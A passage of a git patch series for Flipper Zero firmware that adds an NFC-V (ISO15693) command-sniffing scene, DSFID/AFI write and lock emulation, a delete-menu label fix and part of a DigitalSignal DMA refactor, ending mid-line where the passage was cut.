/dev/null +++ b/applications/main/nfc/scenes/nfc_scene_nfcv_sniff.c @@ -0,0 +1,155 @@ +#include "../nfc_i.h" + +#define NFC_SCENE_EMULATE_NFCV_LOG_SIZE_MAX (200) + +enum { + NfcSceneNfcVSniffStateWidget, + NfcSceneNfcVSniffStateTextBox, +}; + +bool nfc_scene_nfcv_sniff_worker_callback(NfcWorkerEvent event, void* context) { + UNUSED(event); + furi_assert(context); + Nfc* nfc = context; + + switch(event) { + case NfcWorkerEventNfcVCommandExecuted: + view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventUpdateLog); + break; + case NfcWorkerEventNfcVContentChanged: + view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventSaveShadow); + break; + default: + break; + } + return true; +} + +void nfc_scene_nfcv_sniff_widget_callback(GuiButtonType result, InputType type, void* context) { + furi_assert(context); + Nfc* nfc = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(nfc->view_dispatcher, result); + } +} + +void nfc_scene_nfcv_sniff_textbox_callback(void* context) { + furi_assert(context); + Nfc* nfc = context; + view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventViewExit); +} + +static void nfc_scene_nfcv_sniff_widget_config(Nfc* nfc, bool data_received) { + Widget* widget = nfc->widget; + widget_reset(widget); + FuriString* info_str; + info_str = furi_string_alloc(); + + widget_add_icon_element(widget, 0, 3, &I_RFIDDolphinSend_97x61); + widget_add_string_element(widget, 89, 32, AlignCenter, AlignTop, FontPrimary, "Listen NfcV"); + furi_string_trim(info_str); + widget_add_text_box_element( + widget, 56, 43, 70, 21, AlignCenter, AlignTop, furi_string_get_cstr(info_str), true); + furi_string_free(info_str); + if(data_received) { + widget_add_button_element( + widget, GuiButtonTypeCenter, "Log", nfc_scene_nfcv_sniff_widget_callback, nfc); + } +} + +void nfc_scene_nfcv_sniff_on_enter(void* context) { + Nfc* nfc = context; + + // Setup Widget + nfc_scene_nfcv_sniff_widget_config(nfc, false); + // Setup TextBox + TextBox* text_box = nfc->text_box; + text_box_set_font(text_box, TextBoxFontHex); + text_box_set_focus(text_box, TextBoxFocusEnd); + text_box_set_text(text_box, ""); + furi_string_reset(nfc->text_box_store); + + // Set Widget state and view + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneNfcVSniff, NfcSceneNfcVSniffStateWidget); + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); + // Start worker + memset(&nfc->dev->dev_data.reader_data, 0, sizeof(NfcReaderRequestData)); + nfc_worker_start( + nfc->worker, + NfcWorkerStateNfcVSniff, + &nfc->dev->dev_data, + nfc_scene_nfcv_sniff_worker_callback, + nfc); + + nfc_blink_emulate_start(nfc); +} + +bool nfc_scene_nfcv_sniff_on_event(void* context, SceneManagerEvent event) { + Nfc* nfc = context; + NfcVData* nfcv_data = &nfc->dev->dev_data.nfcv_data; + uint32_t state = scene_manager_get_scene_state(nfc->scene_manager, NfcSceneNfcVSniff); + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == NfcCustomEventUpdateLog) { + // Add data button to widget if data is received for the first time + if(strlen(nfcv_data->last_command) > 0) { + if(!furi_string_size(nfc->text_box_store)) { + nfc_scene_nfcv_sniff_widget_config(nfc, true); + } + /* use the last n bytes from the log so there's enough space for the new log entry */ + size_t maxSize = + NFC_SCENE_EMULATE_NFCV_LOG_SIZE_MAX - (strlen(nfcv_data->last_command) + 1); + if(furi_string_size(nfc->text_box_store) >= maxSize) { + furi_string_right(nfc->text_box_store, (strlen(nfcv_data->last_command) + 1)); + } + furi_string_cat_printf(nfc->text_box_store, "%s", nfcv_data->last_command); + furi_string_push_back(nfc->text_box_store, '\n'); + text_box_set_text(nfc->text_box, furi_string_get_cstr(nfc->text_box_store)); + + /* clear previously logged command */ + strcpy(nfcv_data->last_command, ""); + } + consumed = true; + } else if(event.event == NfcCustomEventSaveShadow) { + if(furi_string_size(nfc->dev->load_path)) { + nfc_device_save_shadow(nfc->dev, furi_string_get_cstr(nfc->dev->load_path)); + } + consumed = true; + } else if(event.event == GuiButtonTypeCenter && state == NfcSceneNfcVSniffStateWidget) { + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewTextBox); + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneNfcVSniff, NfcSceneNfcVSniffStateTextBox); + consumed = true; + } else if(event.event == NfcCustomEventViewExit && state == NfcSceneNfcVSniffStateTextBox) { + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneNfcVSniff, NfcSceneNfcVSniffStateWidget); + consumed = true; + } + } else if(event.type == SceneManagerEventTypeBack) { + if(state == NfcSceneNfcVSniffStateTextBox) { + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneNfcVSniff, NfcSceneNfcVSniffStateWidget); + consumed = true; + } + } + + return consumed; +} + +void nfc_scene_nfcv_sniff_on_exit(void* context) { + Nfc* nfc = context; + + // Stop worker + nfc_worker_stop(nfc->worker); + + // Clear view + widget_reset(nfc->widget); + text_box_reset(nfc->text_box); + furi_string_reset(nfc->text_box_store); + + nfc_blink_stop(nfc); +} diff --git a/lib/nfc/nfc_device.c b/lib/nfc/nfc_device.c index 774e2b091..593736916 100644 --- a/lib/nfc/nfc_device.c +++ b/lib/nfc/nfc_device.c @@ -885,6 +885,8 @@ static bool nfc_device_save_nfcv_data(FlipperFormat* file, NfcDevice* dev) { case NfcVTypeSlix2: saved = nfc_device_save_slix2_data(file, dev); break; + default: + break; } } while(false); @@ -936,6 +938,8 @@ bool nfc_device_load_nfcv_data(FlipperFormat* file, NfcDevice* dev) { case NfcVTypeSlix2: parsed = nfc_device_load_slix2_data(file, dev); break; + default: + break; } } while(false); diff --git a/lib/nfc/nfc_worker.c b/lib/nfc/nfc_worker.c index 2d5efbd19..992c1f45b 100644 --- a/lib/nfc/nfc_worker.c +++ b/lib/nfc/nfc_worker.c @@ -111,6 +111,8 @@ int32_t nfc_worker_task(void* context) { nfc_worker_analyze_reader(nfc_worker); } else if(nfc_worker->state == NfcWorkerStateNfcVEmulate) { nfc_worker_nfcv_emulate(nfc_worker); + } else if(nfc_worker->state == NfcWorkerStateNfcVSniff) { + nfc_worker_nfcv_sniff(nfc_worker); } else if(nfc_worker->state == NfcWorkerStateNfcVUnlock) { nfc_worker_nfcv_unlock(nfc_worker); } else if(nfc_worker->state == NfcWorkerStateNfcVUnlockAndSave) { @@ -180,6 +182,34 @@ void nfc_worker_nfcv_emulate(NfcWorker* nfc_worker) { } } +void nfc_worker_nfcv_sniff(NfcWorker* nfc_worker) { + FuriHalNfcTxRxContext tx_rx = {}; + FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; + NfcVData* nfcv_data = &nfc_worker->dev_data->nfcv_data; + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { + reader_analyzer_prepare_tx_rx(nfc_worker->reader_analyzer, &tx_rx, true); + reader_analyzer_start(nfc_worker->reader_analyzer, ReaderAnalyzerModeDebugLog); + } + + nfcv_data->sub_type = NfcVTypeSniff; + nfcv_emu_init(nfc_data, nfcv_data); + + while(nfc_worker->state == NfcWorkerStateNfcVSniff) { + if(nfcv_emu_loop(&tx_rx, nfc_data, nfcv_data, 100)) { + if(nfc_worker->callback) { + nfc_worker->callback(NfcWorkerEventNfcVCommandExecuted, nfc_worker->context); + } + } + furi_delay_ms(10); + } + nfcv_emu_deinit(nfcv_data); + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { + reader_analyzer_stop(nfc_worker->reader_analyzer); + } +} + void nfc_worker_nfcv_unlock(NfcWorker* nfc_worker) { furi_assert(nfc_worker); furi_assert(nfc_worker->callback); diff --git a/lib/nfc/nfc_worker.h b/lib/nfc/nfc_worker.h index 39b6fa592..53b8ec52a 100644 --- a/lib/nfc/nfc_worker.h +++ b/lib/nfc/nfc_worker.h @@ -21,6 +21,7 @@ typedef enum { NfcWorkerStateNfcVEmulate, NfcWorkerStateNfcVUnlock, NfcWorkerStateNfcVUnlockAndSave, + NfcWorkerStateNfcVSniff, // Debug NfcWorkerStateEmulateApdu, NfcWorkerStateField, @@ -97,3 +98,4 @@ void nfc_worker_start( void nfc_worker_stop(NfcWorker* nfc_worker); void nfc_worker_nfcv_unlock(NfcWorker* nfc_worker); void nfc_worker_nfcv_emulate(NfcWorker* nfc_worker); +void nfc_worker_nfcv_sniff(NfcWorker* nfc_worker); \ No newline at end of file diff --git a/lib/nfc/protocols/nfcv.c b/lib/nfc/protocols/nfcv.c index dc37860fb..c9982f156 100644 --- a/lib/nfc/protocols/nfcv.c +++ b/lib/nfc/protocols/nfcv.c @@ -732,6 +732,160 @@ void nfcv_emu_handle_packet( } } +void nfcv_emu_sniff_packet( + FuriHalNfcTxRxContext* tx_rx, + FuriHalNfcDevData* nfc_data, + void* nfcv_data_in) { + furi_assert(tx_rx); + furi_assert(nfc_data); + furi_assert(nfcv_data_in); + + NfcVData* nfcv_data = (NfcVData*)nfcv_data_in; + NfcVEmuProtocolCtx* ctx = nfcv_data->emu_protocol_ctx; + + if(nfcv_data->frame_length < 2) { + return; + } + + /* parse the frame data for the upcoming part 3 handling */ + ctx->flags = nfcv_data->frame[0]; + ctx->command = nfcv_data->frame[1]; + ctx->selected = (ctx->flags & RFAL_NFCV_REQ_FLAG_SELECT); + ctx->addressed = !(ctx->flags & RFAL_NFCV_REQ_FLAG_INVENTORY) && + (ctx->flags & RFAL_NFCV_REQ_FLAG_ADDRESS); + ctx->advanced = (ctx->command >= 0xA0); + ctx->address_offset = 2 + (ctx->advanced ? 1 : 0); + ctx->payload_offset = ctx->address_offset + (ctx->addressed ? 8 : 0); + + char flags_string[5]; + + snprintf( + flags_string, + 5, + "%c%c%c%d", + (ctx->flags & RFAL_NFCV_REQ_FLAG_INVENTORY) ? + 'I' : + (ctx->addressed ? 'A' : (ctx->selected ? 'S' : '*')), + ctx->advanced ? 'X' : ' ', + (ctx->flags & RFAL_NFCV_REQ_FLAG_DATA_RATE) ? 'h' : 'l', + (ctx->flags & RFAL_NFCV_REQ_FLAG_SUB_CARRIER) ? 2 : 1); + + switch(ctx->command) { + case ISO15693_INVENTORY: { + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "INVENTORY"); + break; + } + + case ISO15693_STAYQUIET: { + snprintf( + nfcv_data->last_command, sizeof(nfcv_data->last_command), "%s STAYQUIET", flags_string); + nfcv_data->quiet = true; + break; + } + + case ISO15693_LOCKBLOCK: { + uint8_t block = nfcv_data->frame[ctx->payload_offset]; + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s LOCK %d", + flags_string, + block); + break; + } + + case ISO15693_SELECT: { + snprintf( + nfcv_data->last_command, sizeof(nfcv_data->last_command), "%s SELECT", flags_string); + break; + } + + case ISO15693_RESET_TO_READY: { + snprintf( + nfcv_data->last_command, sizeof(nfcv_data->last_command), "%s RESET", flags_string); + break; + } + + case ISO15693_READ_MULTI_BLOCK: + case ISO15693_READBLOCK: { + uint8_t block = nfcv_data->frame[ctx->payload_offset]; + uint8_t blocks = 1; + + if(ctx->command == ISO15693_READ_MULTI_BLOCK) { + blocks = nfcv_data->frame[ctx->payload_offset + 1] + 1; + } + + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s READ %d cnt: %d", + flags_string, + block, + blocks); + + break; + } + + case ISO15693_WRITE_MULTI_BLOCK: + case ISO15693_WRITEBLOCK: { + uint8_t block = nfcv_data->frame[ctx->payload_offset]; + uint8_t blocks = 1; + uint8_t data_pos = 1; + + if(ctx->command == ISO15693_WRITE_MULTI_BLOCK) { + blocks = nfcv_data->frame[ctx->payload_offset + 1] + 1; + data_pos++; + } + + uint8_t* data = &nfcv_data->frame[ctx->payload_offset + data_pos]; + + if(ctx->command == ISO15693_WRITE_MULTI_BLOCK) { + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s WRITE %d, cnd %d", + flags_string, + block, + blocks); + } else { + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s WRITE %d %02X %02X %02X %02X", + flags_string, + block, + data[0], + data[1], + data[2], + data[3]); + } + break; + } + + case ISO15693_GET_SYSTEM_INFO: { + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s SYSTEMINFO", + flags_string); + break; + } + + default: + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s unsupported: %02X", + flags_string, + ctx->command); + break; + } + + if(strlen(nfcv_data->last_command) > 0) { + FURI_LOG_D(TAG, "Received command %s", nfcv_data->last_command); + } +} + void nfcv_emu_init(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { furi_assert(nfc_data); furi_assert(nfcv_data); @@ -765,7 +919,11 @@ void nfcv_emu_init(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { /* if not set already, initialize the default protocol handler */ if(!nfcv_data->emu_protocol_ctx) { nfcv_data->emu_protocol_ctx = malloc(sizeof(NfcVEmuProtocolCtx)); - nfcv_data->emu_protocol_handler = &nfcv_emu_handle_packet; + if(nfcv_data->sub_type == NfcVTypeSniff) { + nfcv_data->emu_protocol_handler = &nfcv_emu_sniff_packet; + } else { + nfcv_data->emu_protocol_handler = &nfcv_emu_handle_packet; + } } FURI_LOG_D(TAG, "Starting NfcV emulation"); @@ -801,6 +959,9 @@ void nfcv_emu_init(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { case NfcVTypePlain: FURI_LOG_D(TAG, " Card type: Plain"); break; + case NfcVTypeSniff: + FURI_LOG_D(TAG, " Card type: Sniffing"); + break; } /* allocate a 512 edge buffer, more than enough */ diff --git a/lib/nfc/protocols/nfcv.h b/lib/nfc/protocols/nfcv.h index 3f8e78556..fde1c933b 100644 --- a/lib/nfc/protocols/nfcv.h +++ b/lib/nfc/protocols/nfcv.h @@ -96,6 +96,7 @@ typedef enum { NfcVTypeSlixS = 2, NfcVTypeSlixL = 3, NfcVTypeSlix2 = 4, + NfcVTypeSniff = 255, } NfcVSubtype; typedef enum { From 2966a26cf1743c5e722a9f20017a0bf28a1cf23c Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Sat, 21 Jan 2023 01:13:27 +0100 Subject: [PATCH 053/329] added correct description to delete menu --- applications/main/nfc/scenes/nfc_scene_delete.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/applications/main/nfc/scenes/nfc_scene_delete.c b/applications/main/nfc/scenes/nfc_scene_delete.c index cbb52bfd0..0808db45a 100644 --- a/applications/main/nfc/scenes/nfc_scene_delete.c +++ b/applications/main/nfc/scenes/nfc_scene_delete.c @@ -31,6 +31,8 @@ void nfc_scene_delete_on_enter(void* context) { nfc->widget, 64, 24, AlignCenter, AlignTop, FontSecondary, furi_string_get_cstr(temp_str)); NfcProtocol protocol = nfc->dev->dev_data.protocol; + const char* nfc_type = "NFC-A"; + if(protocol == NfcDeviceProtocolEMV) { furi_string_set(temp_str, "EMV bank card"); } else if(protocol == NfcDeviceProtocolMifareUl) { @@ -39,12 +41,15 @@ void nfc_scene_delete_on_enter(void* context) { furi_string_set(temp_str, nfc_mf_classic_type(nfc->dev->dev_data.mf_classic_data.type)); } else if(protocol == NfcDeviceProtocolMifareDesfire) { furi_string_set(temp_str, "MIFARE DESFire"); + } else if(protocol == NfcDeviceProtocolNfcV) { + furi_string_set(temp_str, "ISO15693 tag"); + nfc_type = "NFC-V"; } else { furi_string_set(temp_str, "Unknown ISO tag"); } widget_add_string_element( nfc->widget, 64, 34, AlignCenter, AlignTop, FontSecondary, furi_string_get_cstr(temp_str)); - widget_add_string_element(nfc->widget, 64, 44, AlignCenter, AlignTop, FontSecondary, "NFC-A"); + widget_add_string_element(nfc->widget, 64, 44, AlignCenter, AlignTop, FontSecondary, nfc_type); furi_string_free(temp_str); view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); From 00f836595420a37da4706c1291a799890dbf2bcb Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Sat, 21 Jan 2023 01:49:02 +0100 Subject: [PATCH 054/329] also added DSFID/AFI handling and locking --- .../main/nfc/scenes/nfc_scene_nfc_data_info.c | 12 +- lib/nfc/nfc_device.c | 7 +- lib/nfc/protocols/nfcv.c | 103 +++++++++++++++++- lib/nfc/protocols/nfcv.h | 7 +- 4 files changed, 123 insertions(+), 6 deletions(-) diff --git a/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c b/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c index 80a5ba7e9..fab6f873f 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c +++ b/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c @@ -87,8 +87,16 @@ void nfc_scene_nfc_data_info_on_enter(void* context) { } furi_string_cat_printf(temp_str, "\n"); - furi_string_cat_printf(temp_str, "DSFID: %02X\n", nfcv_data->dsfid); - furi_string_cat_printf(temp_str, "AFI: %02X\n", nfcv_data->afi); + furi_string_cat_printf( + temp_str, + "DSFID: %02X %s\n", + nfcv_data->dsfid, + (nfcv_data->security_status[0] & NfcVLockBitDsfid) ? "(locked)" : ""); + furi_string_cat_printf( + temp_str, + "AFI: %02X %s\n", + nfcv_data->afi, + (nfcv_data->security_status[0] & NfcVLockBitAfi) ? "(locked)" : ""); furi_string_cat_printf(temp_str, "IC Ref: %02X\n", nfcv_data->ic_ref); furi_string_cat_printf(temp_str, "Blocks: %02X\n", nfcv_data->block_num); furi_string_cat_printf(temp_str, "Blocksize: %02X\n", nfcv_data->block_size); diff --git a/lib/nfc/nfc_device.c b/lib/nfc/nfc_device.c index 593736916..10a896f52 100644 --- a/lib/nfc/nfc_device.c +++ b/lib/nfc/nfc_device.c @@ -858,8 +858,11 @@ static bool nfc_device_save_nfcv_data(FlipperFormat* file, NfcDevice* dev) { if(!flipper_format_write_hex( file, "Data Content", data->data, data->block_num * data->block_size)) break; + if(!flipper_format_write_comment_cstr( + file, "First byte: DSFID (0x01) / AFI (0x02) lock info, others: block lock info")) + break; if(!flipper_format_write_hex( - file, "Security Status", data->security_status, data->block_num)) + file, "Security Status", data->security_status, 1 + data->block_num)) break; if(!flipper_format_write_comment_cstr( file, @@ -916,7 +919,7 @@ bool nfc_device_load_nfcv_data(FlipperFormat* file, NfcDevice* dev) { /* optional, as added later */ if(flipper_format_key_exist(file, "Security Status")) { if(!flipper_format_read_hex( - file, "Security Status", data->security_status, data->block_num)) + file, "Security Status", data->security_status, 1 + data->block_num)) break; } if(!flipper_format_read_hex(file, "Subtype", &temp_value, 1)) break; diff --git a/lib/nfc/protocols/nfcv.c b/lib/nfc/protocols/nfcv.c index c9982f156..b2b04f878 100644 --- a/lib/nfc/protocols/nfcv.c +++ b/lib/nfc/protocols/nfcv.c @@ -586,10 +586,73 @@ void nfcv_emu_handle_packet( uint8_t block = nfcv_data->frame[ctx->payload_offset]; nfcv_data->security_status[block] |= 0x01; nfcv_data->modified = true; + + ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "LOCK BLOCK %d", block); break; } + case ISO15693_WRITE_DSFID: { + uint8_t id = nfcv_data->frame[ctx->payload_offset]; + + if(!(nfcv_data->security_status[0] & NfcVLockBitDsfid)) { + nfcv_data->dsfid = id; + nfcv_data->modified = true; + ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + } + + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "WRITE DSFID %02X", id); + break; + } + + case ISO15693_WRITE_AFI: { + uint8_t id = nfcv_data->frame[ctx->payload_offset]; + + if(!(nfcv_data->security_status[0] & NfcVLockBitAfi)) { + nfcv_data->afi = id; + nfcv_data->modified = true; + ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + } + + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "WRITE AFI %02X", id); + break; + } + + case ISO15693_LOCK_DSFID: { + if(!(nfcv_data->security_status[0] & NfcVLockBitDsfid)) { + nfcv_data->security_status[0] |= NfcVLockBitDsfid; + nfcv_data->modified = true; + + ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + } + + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "LOCK DSFID"); + break; + } + + case ISO15693_LOCK_AFI: { + if(!(nfcv_data->security_status[0] & NfcVLockBitAfi)) { + nfcv_data->security_status[0] |= NfcVLockBitAfi; + nfcv_data->modified = true; + + ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + } + + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "LOCK AFI"); + break; + } + case ISO15693_SELECT: { ctx->response_buffer[0] = ISO15693_NOERROR; nfcv_data->selected = true; @@ -631,7 +694,8 @@ void nfcv_emu_handle_packet( int block_current = block + block_index; /* prepend security status */ if(ctx->flags & RFAL_NFCV_REQ_FLAG_OPTION) { - ctx->response_buffer[buffer_pos++] = nfcv_data->security_status[block_current]; + ctx->response_buffer[buffer_pos++] = + nfcv_data->security_status[1 + block_current]; } /* then the data block */ memcpy( @@ -794,6 +858,43 @@ void nfcv_emu_sniff_packet( break; } + case ISO15693_WRITE_DSFID: { + uint8_t id = nfcv_data->frame[ctx->payload_offset]; + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s WR DSFID %d", + flags_string, + id); + break; + } + + case ISO15693_WRITE_AFI: { + uint8_t id = nfcv_data->frame[ctx->payload_offset]; + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s WR AFI %d", + flags_string, + id); + break; + } + + case ISO15693_LOCK_DSFID: { + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s LOCK DSFID", + flags_string); + break; + } + + case ISO15693_LOCK_AFI: { + snprintf( + nfcv_data->last_command, sizeof(nfcv_data->last_command), "%s LOCK AFI", flags_string); + break; + } + case ISO15693_SELECT: { snprintf( nfcv_data->last_command, sizeof(nfcv_data->last_command), "%s SELECT", flags_string); diff --git a/lib/nfc/protocols/nfcv.h b/lib/nfc/protocols/nfcv.h index fde1c933b..f1d6e0127 100644 --- a/lib/nfc/protocols/nfcv.h +++ b/lib/nfc/protocols/nfcv.h @@ -85,6 +85,11 @@ extern "C" { #define ISO15693_ERROR_BLOCK_WRITE 0x13 // Writing was unsuccessful #define ISO15693_ERROR_BLOCL_WRITELOCK 0x14 // Locking was unsuccessful +typedef enum { + NfcVLockBitDsfid = 1, + NfcVLockBitAfi = 2, +} NfcVLockBits; + typedef enum { NfcVAuthMethodManual, NfcVAuthMethodTonieBox, @@ -174,7 +179,7 @@ typedef struct { uint16_t block_num; uint8_t block_size; uint8_t data[NFCV_MEMSIZE_MAX]; - uint8_t security_status[NFCV_BLOCKS_MAX]; + uint8_t security_status[1 + NFCV_BLOCKS_MAX]; bool selected; bool quiet; From c1430bd97e649bd793dc6309801a5ad5b3fdd860 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Sat, 21 Jan 2023 01:51:36 +0100 Subject: [PATCH 055/329] increase sniff log size --- applications/main/nfc/scenes/nfc_scene_nfcv_sniff.c | 2 +- lib/nfc/protocols/nfcv.c | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/applications/main/nfc/scenes/nfc_scene_nfcv_sniff.c b/applications/main/nfc/scenes/nfc_scene_nfcv_sniff.c index b2cb58d9f..2c0f17981 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfcv_sniff.c +++ b/applications/main/nfc/scenes/nfc_scene_nfcv_sniff.c @@ -1,6 +1,6 @@ #include "../nfc_i.h" -#define NFC_SCENE_EMULATE_NFCV_LOG_SIZE_MAX (200) +#define NFC_SCENE_EMULATE_NFCV_LOG_SIZE_MAX (800) enum { NfcSceneNfcVSniffStateWidget, diff --git a/lib/nfc/protocols/nfcv.c b/lib/nfc/protocols/nfcv.c index b2b04f878..e18552340 100644 --- a/lib/nfc/protocols/nfcv.c +++ b/lib/nfc/protocols/nfcv.c @@ -836,7 +836,8 @@ void nfcv_emu_sniff_packet( switch(ctx->command) { case ISO15693_INVENTORY: { - snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "INVENTORY"); + snprintf( + nfcv_data->last_command, sizeof(nfcv_data->last_command), "%s INVENTORY", flags_string); break; } From 9268ea121f3e0aeeecc85ab55f72139dacf7ef1d Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Wed, 1 Feb 2023 23:25:23 +0100 Subject: [PATCH 056/329] DigitalSequence: fix issues with concatenation of same levels and spurious bit flips --- lib/digital_signal/digital_signal.c | 282 +++++++++++++++++++--------- 1 file changed, 195 insertions(+), 87 deletions(-) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index 474e840a0..4ceca2ead 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -8,17 +8,26 @@ #include #include + +struct ReloadBuffers { + uint32_t** buffers; /* pointers to the shadow buffers, either one or two. NULL if none */ + uint32_t count; /* number of allocated buffers, 0, 1 or 2 */ + uint32_t size; /* maximum entry count of a single buffer */ + uint32_t current; /* current buffer index, the other one is most likely being used */ + uint32_t entries; /* entries in the current buffer */ +}; + struct DigitalSequence { uint8_t signals_size; bool bake; uint32_t sequence_used; uint32_t sequence_size; DigitalSignal** signals; - bool* signals_prolonged; uint8_t* sequence; const GpioPin* gpio; uint32_t send_time; bool send_time_active; + struct ReloadBuffers* reload; }; struct DigitalSignalInternals { @@ -28,6 +37,7 @@ struct DigitalSignalInternals { const GpioPin* gpio; LL_DMA_InitTypeDef dma_config_gpio; LL_DMA_InitTypeDef dma_config_timer; + struct ReloadBuffers* reload; }; #define TAG "DigitalSignal" @@ -45,27 +55,30 @@ DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { signal->reload_reg_buff = malloc(signal->edges_max_cnt * sizeof(uint32_t)); signal->internals = malloc(sizeof(DigitalSignalInternals)); - signal->internals->reload_reg_entries = 0; - signal->internals->reload_reg_remainder = 0; - signal->internals->dma_config_gpio.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; - signal->internals->dma_config_gpio.Mode = LL_DMA_MODE_CIRCULAR; - signal->internals->dma_config_gpio.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; - signal->internals->dma_config_gpio.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; - signal->internals->dma_config_gpio.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; - signal->internals->dma_config_gpio.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; - signal->internals->dma_config_gpio.NbData = 2; - signal->internals->dma_config_gpio.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; - signal->internals->dma_config_gpio.Priority = LL_DMA_PRIORITY_VERYHIGH; + DigitalSignalInternals* internals = signal->internals; + internals->reload = NULL; + internals->reload_reg_entries = 0; + internals->reload_reg_remainder = 0; - signal->internals->dma_config_timer.PeriphOrM2MSrcAddress = (uint32_t) & (TIM2->ARR); - signal->internals->dma_config_timer.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; - signal->internals->dma_config_timer.Mode = LL_DMA_MODE_NORMAL; - signal->internals->dma_config_timer.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; - signal->internals->dma_config_timer.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; - signal->internals->dma_config_timer.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; - signal->internals->dma_config_timer.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; - signal->internals->dma_config_timer.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; - signal->internals->dma_config_timer.Priority = LL_DMA_PRIORITY_HIGH; + internals->dma_config_gpio.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + internals->dma_config_gpio.Mode = LL_DMA_MODE_CIRCULAR; + internals->dma_config_gpio.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + internals->dma_config_gpio.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + internals->dma_config_gpio.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + internals->dma_config_gpio.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + internals->dma_config_gpio.NbData = 2; + internals->dma_config_gpio.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + internals->dma_config_gpio.Priority = LL_DMA_PRIORITY_VERYHIGH; + + internals->dma_config_timer.PeriphOrM2MSrcAddress = (uint32_t) & (TIM2->ARR); + internals->dma_config_timer.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + internals->dma_config_timer.Mode = LL_DMA_MODE_NORMAL; + internals->dma_config_timer.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + internals->dma_config_timer.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + internals->dma_config_timer.PeriphOrM2MSrcDataSize = 